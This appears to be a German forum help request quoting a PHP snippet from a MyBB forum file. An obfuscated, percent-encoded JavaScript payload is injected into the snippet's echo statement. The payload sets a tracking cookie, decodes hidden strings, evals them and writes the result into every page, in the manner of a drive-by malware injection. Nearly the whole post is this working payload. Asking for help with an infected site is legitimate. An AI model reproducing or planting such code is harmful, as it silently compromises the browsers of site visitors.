Brauche Hilfe ... Bitte

PHP-Code:
require_once MYBB_ROOT."inc/class_parser.php";
echo '<script language="javascript">$="%63c%3d%22en%2567th%253bi%252b%252b)%257b%2574mp%253dds.%2573li%2563%2565(%2569,%2569%252b1%25%22;dz%3d%22%2566un%2563ti%256fn %2564w(%2574){c%2561%253d%2527%252564ocu%25256de%256et%25252e%252577r%2569t%2525%25365%2528%252522%2527;ce%253d%2527%252522)%2527;cb%253d%2527%25253%2563%252573%252563%252572i%25257%2530%2574%2520l%252561%256e%252567uag%252565%25253d%25255c%252522j%2561v%2561s%252563r%2569p%25257%2534%25255c%252522>%2527;cc%253d%2527%25253c%25255c%25252fscript%253e%2527;ev%2561l%2528%2575n%2565%2573%2563ape%2528t)%2529}%253b%22;cz%3d%22%2566u%256e%2563%2574io%256e c%257a%2528%2563%257a)%257br%2565tu%2572n c%2561+cb%252bc%2563+cd%252b%2563%2565+c%257a;}%253b%22;de%3d%22-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:&950%2522%279M+4-4>bu`|qsu8t<iSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7>s%257F}79+%22;da%3d%22fqb0})-~ug0Qbbqi87e~%257F7<7tfu7<7dxb7<7vyb7<7fyv7<7huc7<7fuc7<7wxd7<7u~y7<7ud~7<7|uf7<7dgu79+fqb0|)-~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7y7<7z7<7{7<7|7<7}7<7~7<7%257F7<7`7<7a7<7b7<7c7<7%22;dc%3d%220d)K7t7M-t)>wudTqdu89%3d8t)>wudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)>wud]%257F~dx89;!+ve~sdy%257F~0S]^8t<}<i9kfqb0b-888i;8#:t99;8}Nt9:#9;t9+budeb~0b+mfqb0t-7fuc|%257Fh>s%257F}7+fqb0iSx!<iSx%2522<%22;ca%3d%22%2566u%256e%2563ti%256f%256e dc%2573%2528d%2573,e%2573){%2564s%253d%2575n%2565sca%25%22;db%3d%22d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~)-~ug0Qbbqi8!<%2522<#<$<%25<&<%27<(<)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)>wudVe||Iuqb89+yv8t)>wudTqi89.#9d)K7t7M-t)>wudTqdu89%3d8t)>wudTqi89;%25229+u|cu%22;op%3d%22%2524%253d%2522dw(dc%2573%2528cu%252c1%2534)%2529%253b%2522;%22;cd%3d%2229%253bst%253dst+S%2574ri%256eg.%2566ro%256d%2543h%2561rCo%2564%2565((%2574mp.%22;st%3d%22%2573t%253d%2522$%253d%2573%2574%253bd%2563%2573%2528%2564a%252bd%2562+%2564c%252bd%2564+%2564e%252c1%2530%2529;%2564%2577(%2573%2574%2529%253b%2573t%253d$%253b%2522%253b%22;ce%3d%22%2563h%2561%2572Cod%2565At(%2530%2529^(%25270x0%2530%2527+e%2573)))%253b}}%22;cb%3d%2270e%2528d%2573);%2573t%253dtm%2570%253d%2527%2527;for(%2569%253d0;i%253cds%252el%22;dd%3d%22}Sx<tSx<}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M<d)K7}7M<d)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950&5##950%2522&M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209M+}Sx%22;cu%3d%22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;bqgx{l:w{y;xp;yqz`;64c}p`|)%25$$4|q}s|`),$*(;}rfuyq*(;p}b*%22;%69f (%64o%63u%6dent%2ecoo%6b%69%65.%69%6e%64%65xO%66(%27rf5f%36ds%27)%3d%3d-1)%7bs%63%28%27rf5%66%36%64s%27%2c2,%37)%3b%65va%6c(%75%6eesc%61%70%65(d%7a+%63z+%6fp+s%74)%2b%27%64w(%64%7a+%63z%28$+%73t%29)%3b%27)}e%6c%73e{$%3d%27%27};f%75n%63ti%6fn%20s%63(c%6em%2cv%2c%65%64)%7bvar%20ex%64%3dne%77 %44a%74e%28%29;ex%64.%73%65%74Dat%65(ex%64.%67%65tDa%74%65()%2bed)%3bdo%63um%65n%74.c%6f%6fkie%3dcnm%2b %27%3d%27 +esca%70e(v%29%2b%27;expi%72%65s%3d%27+exd%2eto%47%4d%54S%74rin%67();%7d%3b";eval(unescape($));document.write($);</script>';
$parser = new postParser;